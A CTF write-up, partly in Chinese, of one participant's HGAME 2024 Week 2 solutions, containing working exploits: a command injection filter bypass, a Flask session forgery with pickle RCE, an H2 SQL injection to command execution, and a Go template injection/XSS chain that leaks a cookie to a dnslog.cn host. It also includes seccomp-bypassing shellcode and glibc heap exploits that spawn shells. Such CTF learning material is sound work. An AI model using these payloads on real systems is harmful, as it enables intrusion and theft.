HGAME 2024 Writeup - Mantle - Week 2
原地址为https://vidar-team.feishu.cn/docx/TgRvdflpdosvCjxizpxcs7wqnOb。
- URL: https://hgame.vidar.club/
- Username: csmantle (Individual participation)
- Start Time: 2024-02-05 20:00:00
- End Time: 2024-02-14 20:00:00
- Status: AAK @ 2024-02-12 09:1?:??
Web
What does the cow say?
the cow want to tell you something
OS 命令注入。
测试:黑名单 WAF(过滤了”flag”等)
backtick 构造字符串;tac 读取。
找 flag:
`ls /`
________________________________________
/ app bin boot dev etc flag_is_here home \
| lib lib64 media mnt opt proc root run |
\ sbin srv sys tmp usr var /
----------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
$( ls `e'c'ho /fl``e'c'ho ag_``e'c'ho is_here` )
_____________
< flag_c0w54y >
-------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
那么构造最终 payload:
$( tac `e'c'ho /fl``e'c'ho ag_``e'c'ho is_here/fl``e'c'ho ag_c0``e'c'ho w54y` )
hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}
myflask
善用搜索引擎,容器中的 Python 版本为 3.11
提供了源码。
# app.py
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")
这个 SECRET_KEY 模式固定,可以爆破。下面需要伪造 admin 的 session 然后进行 pickle 反序列化做 RCE。这里我们只需要打开/flag 文件就行,Flask 会帮我们读取其中内容。
那么不难写出 exp:
import base64
import itertools as it
import urllib.parse as up
import flask_unsign
import requests as req
from pwn import *
class RCE:
def __reduce__(self):
return (open, ("/flag", "r"))
WORDLIST_IT = (
f"{hh:02d}{mm:02d}{ss:02d}"
for (hh, mm, ss) in it.product(range(0, 24), range(0, 60), range(0, 60))
)
REMOTE_URL = "http://106.15.72.34:31490"
guest_cookie = req.get(up.urljoin(REMOTE_URL, "/")).cookies["session"]
info(f"Guest cookie: {guest_cookie}")
info("Cracking the secret...")
secret = flask_unsign.Cracker(guest_cookie, quiet=True).crack(WORDLIST_IT)
success(f"Secret: {secret}")
info("Crafting new session cookie...")
crafted_session = flask_unsign.sign({"username": "admin"}, secret, legacy=True)
info(f"Crafted session: {crafted_session}")
resp = req.post(
up.urljoin(REMOTE_URL, "/flag"),
cookies={"session": crafted_session},
data={"pickle_data": base64.b64encode(pickle.dumps(RCE())).decode()},
)
success(f"Flag: {resp.text}")
PS D:\Workspace\rev\hgame_2024\week_2\myflask> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/myflask/sol.py
[*] Guest cookie: eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcG51g.4vBfd3C5WcrURp36iZDxJzor-wU
[*] Cracking the secret...
[+] Secret: 121153
[*] Crafting new session cookie...
[*] Crafted session: eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcGyJw.kSg86oz5h5iBWCsug6BrlKtxF1Q
[+] Flag: hgame{1d66ce57a408ffea9875449abd7d9fd17cb9ad09}
PS D:\Workspace\rev\hgame_2024\week_2\myflask>
hgame{1d66ce57a408ffea9875449abd7d9fd17cb9ad09}
search4member
Vidar-Team have so much members,so 1ue write an api to search…
看到一个很明显的 SQL 注入点(字符串拼接):
@Controller
public class SearchController {
@Inject
private DbManager dbManager;
@Mapping("/")
public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
List<String> results = new ArrayList<>();
if (keyword != null & !keyword.equals("")) {
String sql = "SELECT * FROM member WHERE intro LIKE '%" + keyword + "%';";
DataSource dataSource = dbManager.getDataSource();
Statement statement = dataSource.getConnection().createStatement();
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()) {
results.add(resultSet.getString("id") + " : "
+ resultSet.getString("intro") + " : "
+ resultSet.getString("blog"));
}
resultSet.close();
statement.close();
}
ModelAndView model = new ModelAndView("search.ftl");
model.put("results", results);
return model;
}
}
确认注入点:
http://106.14.57.14:32143/?keyword=web%27+OR+%27%25%27%3D%27
https://www.sonarsource.com/blog/dotcms515-sqli-to-rce/
Stacked queries 可解。
Payloads:
web%'; CREATE ALIAS RCE3 AS $$ String e(String cmd,String d) throws java.io.IOException {return (new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter(d).next();}$$; INSERT INTO member(id, intro, blog) VALUES ('Mantle1', 'Hacker1', RCE3('id','\\A')); --
web%'; INSERT INTO member(id, intro, blog) VALUES ('Mantle2', 'Hacker2', RCE3('cat /flag','\\A')); --
最后搜索 Hacker 即可。
hgame{48b5cc1bc1e7923abbfa71ef6f46fcf93f58782d}
Select More Courses
ma5hr00m wants to take more courses, but he may be racing against time. Can you help him? (数据库初始化需要时间,请稍作等待)
需要爆破弱密码。字典选 SecLists 里面随意一个。
https://github.com/danielmiessler/SecLists
密码:qwert123
。
PS C:\Users\Mantle Bao> curl -v -X GET -H "Cookie: session=MTcwNzIyNTIxN3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fMnJIj0W2h6JM9oN6h1z9Dv9eogs11j4JNXvF3yewflP" "http://106.15.72.34:30618/expand"
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying 106.15.72.34:30618...
* Connected to 106.15.72.34 (106.15.72.34) port 30618
> GET /expand HTTP/1.1
> Host: 106.15.72.34:30618
> User-Agent: curl/8.4.0
> Accept: */*
> Cookie: session=MTcwNzIyNTIxN3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fMnJIj0W2h6JM9oN6h1z9Dv9eogs11j4JNXvF3yewflP
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Date: Tue, 06 Feb 2024 13:16:25 GMT
< Transfer-Encoding: chunked
<
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="description" content="Challenge">
<title>选课扩学分申请</title>
</head>
<body>
<header>
<div id="h1-container">
<h1>选课扩学分申请</h1>
</div>
</header>
<div id="main-container">
<main>
<div class="detail">
<p>
2023-2024 学年 2 学期
<span class="red-text">第2轮</span>
<b>本学期扩学分要求</b> 要求最低绩点
<span class="red-text">3.5</span>
当前绩点
<span id="credit-limit" class="red-text">3</span>
</p>
</div>
<div id="command-container">
<button class="command" onclick="submitApplication()">申请</button>
<button class="command" onclick="cancelApplication()">取消</button>
</div>
</main>
</div>
</body>
<script>
alert("阿菇的提示:Race against time!");
function submitApplication() {
const requestBody = {
username: "ma5hr00m"
};
fetch("/api/expand", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(requestBody)
})
.then(response => response.json())
.then(data => {
console.log(data)
alert(data.message);
})
.catch(error => {
console.error("Error:", error);
});
}
function cancelApplication() {
window.location.href = ("/");
}
</script>
</html>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-size: 16px;
background: #f0f0f0;
}
header {
display: flex;
justify-content: center; align-items: center;
padding: .75rem 10rem;
background-color: #0483d4;
}
#h1-container {
display: flex;
width: 100%; height: 100%;
white-space: nowrap;
}
h1 {
font-size: 1.2rem;
font-weight: 400;
color: #fff;
}
#main-container {
display: flex;
justify-content: center; align-items: center;
padding: 1rem 10rem;
}
main {
display: flex;
padding: 1rem;
width: 100%; height: 100%;
justify-content: center; align-items: center;
background: #fff;
}
#command-container {
display: flex;
justify-content: end; align-items: center;
width: 100%;
}
.command {
padding: .4rem .8rem;
background: #fff;
border: solid 1px #ccc;
cursor: pointer;
transition: all .2s ease-out;
}
.command:hover {
background: #337ab7;
color: #fff;
}
.command:nth-child(1) {
border-radius: 4px 0 0 4px;
border-right: none;
}
.command:nth-child(2) {
border-radius: 0 4px 4px 0;
}
.detail {
width: fit-content;
text-wrap: nowrap;
}
p {
font-size: .8rem;
}
.red-text {
color: red;
}
</style>* Connection #0 to host 106.15.72.34 left intact
PS C:\Users\Mantle Bao>
“Race against time”?
猜测需要搞数据库事务的 race condition。
盲猜扩学分逻辑如下:
- 事务开始
- 获取当前学分;加法;写回
- 获取绩点
- 判断绩点是否大于 3.5:是前往 5,否前往 6
- Commit
- Rollback
那么如果数据库的隔离级别不够高的话,高并发下就会有明显的脏读。
构造大量并发请求:
获得 flag。
hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}
梅开二度
Golang SSTI + XSS
https://www.onsecurity.io/blog/go-ssti-method-research/
测试 Payload:
tmpl={{.Query `hack`}}
hack=<script>alert(1)</script>
http://106.14.57.14:31181/?tmpl=%7B%7B.Query%20%60hack%60%7D%7D&hack=%3Cscript%3Ealert%281%29%3C%2fscript%3E
不能直接读取文件,而且 cookies 有 HttpOnly 选项。但是 fetch 会修改当前环境中的 cookies,后续的 fetch 会带上之前 fetch 到的 cookie。那么我们只需要首先 fetch 一次/flag,然后再用 SSTI 将服务端 request header 里的 Cookie 字段拿到就行了。
不出网,用 DNS 回显。
没法整个 flag 输出,而且域名大小写不敏感。考虑逐位爆破。
最终 XSS 所执行的脚本:
fetch("http://127.0.0.1:8080/flag").then((r) => {
fetch("http://127.0.0.1:8080/?tmpl=%7B%7B.GetHeader%20%60Cookie%60%7D%7D").then((r1) => {
r1.text().then((r2) => {
fetch("http://b-" + r2.charCodeAt(0).toString() + ".37lw1m.dnslog.cn");
});
});
});
最小化并编码后的 XSS Payload:
http://127.0.0.1:8080/?tmpl=%7B%7B.Query%20%60hack%60%7D%7D&hack=%3Cscript%3Efetch%28%22http%3A%2f%2f127.0.0.1%3A8080%2fflag%22%29.then%28%28r%29%3D%3E%7Bfetch%28%22http%3A%2f%2f127.0.0.1%3A8080%2f%3Ftmpl%3D%257B%257B.GetHeader%2520%2560Cookie%2560%257D%257D%22%29.then%28%28r1%29%3D%3E%7Br1.text%28%29.then%28%28r2%29%3D%3E%7Bfetch%28%22http%3A%2f%2fb-%22%2br2.charCodeAt%280%29.toString%28%29%2b%22.37lw1m.dnslog.cn%22%29%7D%29%7D%29%7D%29%3C%2fscript%3E
让 bot 访问:
http://47.102.130.35:31707/bot?url=http%3A%2f%2f127.0.0.1%3A8080%2f%3Ftmpl%3D%257B%257B.Query%2520%2560hack%2560%257D%257D%26hack%3D%253Cscript%253Efetch%2528%2522http%253A%252f%252f127.0.0.1%253A8080%252fflag%2522%2529.then%2528%2528r%2529%253D%253E%257Bfetch%2528%2522http%253A%252f%252f127.0.0.1%253A8080%252f%253Ftmpl%253D%25257B%25257B.GetHeader%252520%252560Cookie%252560%25257D%25257D%2522%2529.then%2528%2528r1%2529%253D%253E%257Br1.text%2528%2529.then%2528%2528r2%2529%253D%253E%257Bfetch%2528%2522http%253A%252f%252fb-%2522%252br2.charCodeAt%25280%2529.toString%2528%2529%252b%2522.37lw1m.dnslog.cn%2522%2529%257D%2529%257D%2529%257D%2529%253C%252fscript%253E
爆破时将上面 payload 中的 b
和 0
都改为当前欲获取字符的下标。如果下标超出会返回 nan,这时候表明所有位置的字符均已找到。
import requests as req
TEMPLATE = r"http://47.102.130.35:31707/bot?url=http%3A%2f%2f127.0.0.1%3A8080%2f%3Ftmpl%3D%257B%257B.Query%2520%2560hack%2560%257D%257D%26hack%3D%253Cscript%253Efetch%2528%2522http%253A%252f%252f127.0.0.1%253A8080%252fflag%2522%2529.then%2528%2528r%2529%253D%253E%257Bfetch%2528%2522http%253A%252f%252f127.0.0.1%253A8080%252f%253Ftmpl%253D%25257B%25257B.GetHeader%252520%252560Cookie%252560%25257D%25257D%2522%2529.then%2528%2528r1%2529%253D%253E%257Br1.text%2528%2529.then%2528%2528r2%2529%253D%253E%257Bfetch%2528%2522http%253A%252f%252f!!REPLACE!!-%2522%252br2.charCodeAt%2528!!REPLACE!!%2529.toString%2528%2529%252b%2522.37lw1m.dnslog.cn%2522%2529%257D%2529%257D%2529%257D%2529%253C%252fscript%253E"
for i in range(64):
print(f"Trying {i}")
url = TEMPLATE.replace("!!REPLACE!!", str(i))
res = req.get(url)
input("Press Enter to continue...\n")
hgame{8dd552f1dc7f94087e5bd10fae27925c56933674}
Pwn
ShellcodeMaster
You must be a shellcode master
看 seccomp:
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/ShellcodeMaster$ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0004
0002: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00000000 return KILL
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/ShellcodeMaster$
禁了 execve 和 execveat
mantlebao@LAPTOP-RONG-BAO:~$ cat /proc/1624/maps
00400000-00401000 r--p 00000000 00:55 11540474045147377 /mnt/d/Workspace/rev/hgame_2024/week_2/ShellcodeMaster/vuln
00401000-00402000 r-xp 00001000 00:55 11540474045147377 /mnt/d/Workspace/rev/hgame_2024/week_2/ShellcodeMaster/vuln
00402000-00403000 r--p 00002000 00:55 11540474045147377 /mnt/d/Workspace/rev/hgame_2024/week_2/ShellcodeMaster/vuln
00403000-00404000 r--p 00002000 00:55 11540474045147377 /mnt/d/Workspace/rev/hgame_2024/week_2/ShellcodeMaster/vuln
00404000-00405000 rw-p 00003000 00:55 11540474045147377 /mnt/d/Workspace/rev/hgame_2024/week_2/ShellcodeMaster/vuln
02333000-02334000 --xp 00000000 00:00 0
...
新开的空间在第一次 read 后不再可写。而且也没有 rwx 片段。需要设计带两个阶段的 shellcode。
第一个短 stager 进行以下操作:尝试向新段中读入数据(这次一定会失败,因为没有 w 权限),然后跳回 main 中 mprotect 的调用序列里设置好 prot 之后的指令,将新开的段改回 rwx,然后控制流回到 stager 开头再次尝试读取至新段(这次会成功)。
由于第一次输入存在长度限制,我们使用单字节的 pop 来缩短置 0 的指令长度。同时由于我们需要调用 libc 中的函数 mprotect,所以需要调整 RSP 的值到可写段中的某个对齐的地址,且新栈中的头几个 QWORD 需要为 0。.bss 中比较高的地址是很好的选择,如 0x404800 等。
第二个阶段是正常的 ORW。注意,读取成功后原 stager 会被覆盖,EIP 并不在新段的开头,所以第二个阶段需要在实际 shellcode 前加上足够长的 NOP sled 以保证正确执行。
from pwn import *
context.binary = ELF("./ShellcodeMaster/vuln")
PROMPT_1 = b"I heard that a super shellcode master can accomplish 2 functions with 0x16 bytes shellcode\n\n"
PROMPT_2 = b"Love!\n"
# GDB_SCRIPT = """
# break *0x40135C
# break *0x401386
# break *0x4013F6
# """
payload_1 = asm(
"""
mov esp, 0x404800
pop rax
pop rdi
shl esi, 12
syscall
mov eax, esi
pop rdx
mov dl, 7
jmp $-0x1F31C9D # .text:0x401374
"""
).ljust(0x16, asm("nop"))
assert len(payload_1) == 0x16
payload_2 = asm("nop") * 0x20 + asm(
"""
xor rsi, rsi
xor rdx, rdx
push rdx
mov rax, 0x00000067616c662f
push rax
mov rdi, rsp
xor rax, rax
mov rax, 2
syscall
mov rdi, rax
mov rdx, 0x40
mov rsi, 0x2333800
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
"""
)
with remote("106.14.57.14", 30444) as r:
# with process("./ShellcodeMaster/vuln") as r:
# gdb.attach(r, gdbscript=GDB_SCRIPT)
info("Sending payload 1:")
info(hexdump(payload_1))
r.sendafter(PROMPT_1, payload_1)
r.recvuntil(PROMPT_2, drop=True)
sleep(1)
info("Sending payload 2:")
info(hexdump(payload_2))
r.send(payload_2)
flag = r.recvall()
success(f"flag = {flag}")
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2$ python ./ShellcodeMaster/sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/ShellcodeMaster/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 106.14.57.14 on port 30444: Done
[*] Sending payload 1:
[*] 00000000 bc 00 48 40 00 58 5f c1 e6 0c 0f 05 89 f0 5a b2 │··H@│·X_·│····│··Z·│
00000010 07 e9 5e e3 0c fe │··^·│··│
00000016
[*] Sending payload 2:
[*] 00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000020 48 31 f6 48 31 d2 52 48 b8 2f 66 6c 61 67 00 00 │H1·H│1·RH│·/fl│ag··│
00000030 00 50 48 89 e7 48 31 c0 48 c7 c0 02 00 00 00 0f │·PH·│·H1·│H···│····│
00000040 05 48 89 c7 48 c7 c2 40 00 00 00 48 c7 c6 00 38 │·H··│H··@│···H│···8│
00000050 33 02 48 31 c0 0f 05 48 c7 c7 01 00 00 00 48 c7 │3·H1│···H│····│··H·│
00000060 c0 01 00 00 00 0f 05 │····│···│
00000067
[+] Receiving all data: Done (64B)
[*] Closed connection to 106.14.57.14 port 30444
[+] flag = b'hgame{d21d426142e02e1b0e8bb7c69f17a60c3c3543bf}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2$
hgame{d21d426142e02e1b0e8bb7c69f17a60c3c3543bf}
Elden Ring II
write some notes
除了 NX 全关。
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/elden_ring_ii/attachment$ checksec --file ./vuln
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/elden_ring_ii/attachment/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/elden_ring_ii/attachment$
明显有 double free 和 UAF。
void __fastcall delete_note()
{
unsigned int index; // [rsp+Ch] [rbp-4h] BYREF
printf("Index: ");
__isoc99_scanf("%u", &index);
if ( index <= 0xF )
{
if ( notes[index] )
free(notes[index]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
}
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
tcache poisoning 技巧可用。
https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c
构造指向 puts 的 GOT 项的 note,打印其内容,计算得到 libc 基址,然后将其覆写为 system 的实际地址。由于 puts 和 system 的签名非常类似,所以可以靠 show 一个内容为 b"/bin/sh\x00"
的 note 来 getshell。
from pwn import *
vuln = ELF("./elden_ring_ii/attachment/vuln")
libc = ELF("./elden_ring_ii/attachment/libc.so.6")
context.binary = vuln
def add_note(r: remote, index: int, size: int):
assert 0 <= index <= 0xF and 0 <= size <= 0xFF
r.sendlineafter(b">", b"1")
r.sendlineafter(b"Index: ", str(index).encode("ascii"))
r.sendlineafter(b"Size: ", str(size).encode("ascii"))
def delete_note(r: remote, index: int):
assert 0 <= index <= 0xF
r.sendlineafter(b">", b"2")
r.sendlineafter(b"Index: ", str(index).encode("ascii"))
def edit_note(r: remote, index: int, content: bytes):
assert 0 <= index <= 0xF
r.sendlineafter(b">", b"3")
r.sendlineafter(b"Index: ", str(index).encode("ascii"))
r.sendafter(b"Content: ", content)
def show_note(r: remote, index: int) -> bytes:
assert 0 <= index <= 0xF
r.sendlineafter(b">", b"4")
r.sendlineafter(b"Index: ", str(index).encode("ascii"))
return r.recvuntil(b"\n", drop=True)
with remote("106.15.72.34", 32260) as r:
add_note(r, 0, 0x80)
add_note(r, 1, 0x80)
delete_note(r, 0)
delete_note(r, 1)
edit_note(r, 1, p64(vuln.got["puts"]))
add_note(r, 2, 0x80)
edit_note(r, 2, b"/bin/sh\x00")
add_note(r, 3, 0x80)
res = show_note(r, 3)
info(hexdump(res))
puts_addr = u64(res.ljust(8, b"\x00"))
libc_base = puts_addr - libc.symbols["puts"]
info(f"libc base: {hex(libc_base)}")
edit_note(r, 3, p64(libc_base + libc.symbols["system"]))
r.interactive()
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2$ python ./elden_ring_ii/sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/elden_ring_ii/attachment/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/elden_ring_ii/attachment/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 106.15.72.34 on port 32260: Done
[*] 00000000 20 e4 f4 2a 07 7f │ ··*│··│
00000006
[*] libc base: 0x7f072aeca000
[*] Switching to interactive mode
sh: 1: Here: not found
sh: 1: 1.: not found
sh: 1: 2.: not found
sh: 1: 3.: not found
sh: 1: 4.: not found
sh: 1: 5.: not found
>$ 4
Index: $ 2
$ id
/bin/sh: 1: id: not found
$ whoami
/bin/sh: 2: whoami: not found
$ cat /flag
hgame{5c1cb7e9e22053141f6967943abf2c41691ca45b}
$
[*] Closed connection to 106.15.72.34 port 32260
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2$
hgame{5c1cb7e9e22053141f6967943abf2c41691ca45b}
fastnote
Fast note can’t be edited
GLIBC 2.31
保护全开。
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2$ checksec --file ./fastnote/attachment/vuln
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/fastnote/attachment/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2$
存在 UAF。
void __fastcall add()
{
unsigned int index; // [rsp+0h] [rbp-20h] MAPDST BYREF
unsigned int size; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &index);
if ( index > 15 )
{
puts("There are only 16 pages.");
}
else
{
while ( 1 )
{
printf("Size: ");
__isoc99_scanf("%u", &size);
if ( size <= 0x80 )
break;
puts("Too big!");
}
notes[index] = (char *)malloc(size);
printf("Content: ");
read(0, notes[index], size);
}
}
void __fastcall show()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &index);
if ( index > 15 )
{
puts("There are only 16 pages.");
}
else if ( notes[index] )
{
puts(notes[index]);
}
else
{
puts("No such note.");
}
}
void __fastcall delete()
{
unsigned int index; // [rsp+Ch] [rbp-14h] BYREF
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &index);
if ( index > 0xF )
{
puts("There are only 16 pages.");
}
else
{
ptr = notes[index];
if ( ptr )
{
free(ptr);
ptr = 0LL;
}
else
{
puts("No such note.");
}
}
}
先通过 UAF 泄露偏移后的 main_arena 地址,继而得到 libc 基址。然后通过 tcache dup 覆写__free_hook。
import itertools as it
from pwn import *
vuln = ELF("./vuln")
libc = ELF("./libc-2.31.so")
context.binary = vuln
PROMPT_CHOICES = b"Your choice:"
PROMPT_INDEX = b"Index: "
PROMPT_SIZE = b"Size: "
PROMPT_CONTENT = b"Content: "
ADDR_MAIN_ARENA = libc.symbols["__malloc_hook"] + 0x10
def add_note(r: remote | process, index: int, size: int, content: bytes):
assert 0 <= index <= 0xF and 0 <= size <= 0x80 and len(content) <= size
r.sendlineafter(PROMPT_CHOICES, b"1")
r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))
r.sendlineafter(PROMPT_SIZE, str(size).encode("ascii"))
r.sendafter(PROMPT_CONTENT, content)
def show_note(r: remote | process, index: int) -> bytes:
assert 0 <= index <= 0xF
r.sendlineafter(PROMPT_CHOICES, b"2")
r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))
return r.recvuntil(b"\n", drop=True)
def delete_note(r: remote | process, index: int):
assert 0 <= index <= 0xF
r.sendlineafter(PROMPT_CHOICES, b"3")
r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))
# with process("./vuln") as r:
with remote("106.14.57.14", 31198) as r:
add_note(r, 0, 0x80, b"A" * 0x80)
add_note(r, 1, 0x10, b"B" * 0x10)
for i in range(7):
add_note(r, i + 2, 0x80, bytes(it.repeat(ord("A") + i + 2, 0x80)))
for i in range(7):
delete_note(r, i + 2)
delete_note(r, 0)
main_arena = u64(show_note(r, 0).ljust(8, b"\x00")) - 0x60
libc_base = main_arena - ADDR_MAIN_ARENA
info(f"libc base: {hex(libc_base)}")
addr_free_hook = libc_base + libc.symbols["__free_hook"]
addr_system = libc_base + libc.symbols["system"]
info(f"__free_hook: {hex(addr_free_hook)}")
for i in range(7):
add_note(r, i + 2, 0x50, bytes(it.repeat(ord("a") + i + 2, 0x50)))
add_note(r, 10, 0x50, cyclic(0x50))
for i in range(7):
delete_note(r, i + 2)
delete_note(r, 10)
for i in range(7):
add_note(r, i + 2, 0x50, b"/bin/sh".ljust(0x50, b"\x00"))
delete_note(r, 10)
add_note(r, 11, 0x50, p64(addr_free_hook - 0x10))
add_note(r, 12, 0x50, cyclic(8))
add_note(r, 13, 0x50, p64(addr_system))
delete_note(r, 2)
r.interactive()
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/fastnote/attachment$ python ../sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/fastnote/attachment/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/fastnote/attachment/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 106.14.57.14 on port 31198: Done
[*] libc base: 0x7f8fc913a000
[*] __free_hook: 0x7f8fc9328e48
[*] Switching to interactive mode
$ id
/bin/sh: 1: id: not found
$ whoami
/bin/sh: 2: whoami: not found
$ cat /flag
hgame{a9522760998780d08e66a4c40d85e513051f78b4}
$ exit
1.Add note
2.Show note
3.Delete note
4.Exit
Your choice:$ 4
[*] Got EOF while reading in interactive
$
[*] Closed connection to 106.14.57.14 port 31198
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/fastnote/attachment$
hgame{a9522760998780d08e66a4c40d85e513051f78b4}
old_fastnote
Let’s go back to the old days
GLIBC 2.23
除了 PIE 保护全开。
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2$ checksec --file ./old_fastnote/attachment/vuln
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/old_fastnote/attachment/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2$
代码与 fastnote 基本一致,存在 UAF。
先 leak libc 基址。计算 fd/bk 与 main_arena 的偏移。
pwndbg> heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0xf2d000
Size: 0x90 (with flag bits: 0x91)
fd: 0x7f5cd0275b78
bk: 0x7f5cd0275b78
Allocated chunk
Addr: 0xf2d090
Size: 0x20 (with flag bits: 0x20)
Top chunk | PREV_INUSE
Addr: 0xf2d0b0
Size: 0x20f50 (with flag bits: 0x20f51)
pwndbg> arenas
arena type arena address heap address map start map end perm size offset file
------------ --------------- -------------- ----------- --------- ------ ------ -------- ------
main_arena 0x7f5cd0275b20 0xf2d000 0xf2d000 0xf4e000 rw-p 21000 0 [heap]
pwndbg>
不难发现 main_arena = fd - 0x58。
(在另一次运行中)尝试找到合理的将__malloc_hook 分配至某个 chunk 附近的 size。
pwndbg> x/64bx 0x7fc42ddc1788
0x7fc42ddc1788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fc42ddc1790: 0x01 0x00 0x00 0x00 0x02 0x00 0x00 0x00
0x7fc42ddc1798: 0x00 0x87 0xfe 0x2d 0xc4 [0x7f 0x00 0x00
0x7fc42ddc17a0 <__after_morecore_hook>: 0x00 0x00 0x00 0x00 0x00] 0x00 0x00 0x00
0x7fc42ddc17a8 <__free_hook>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
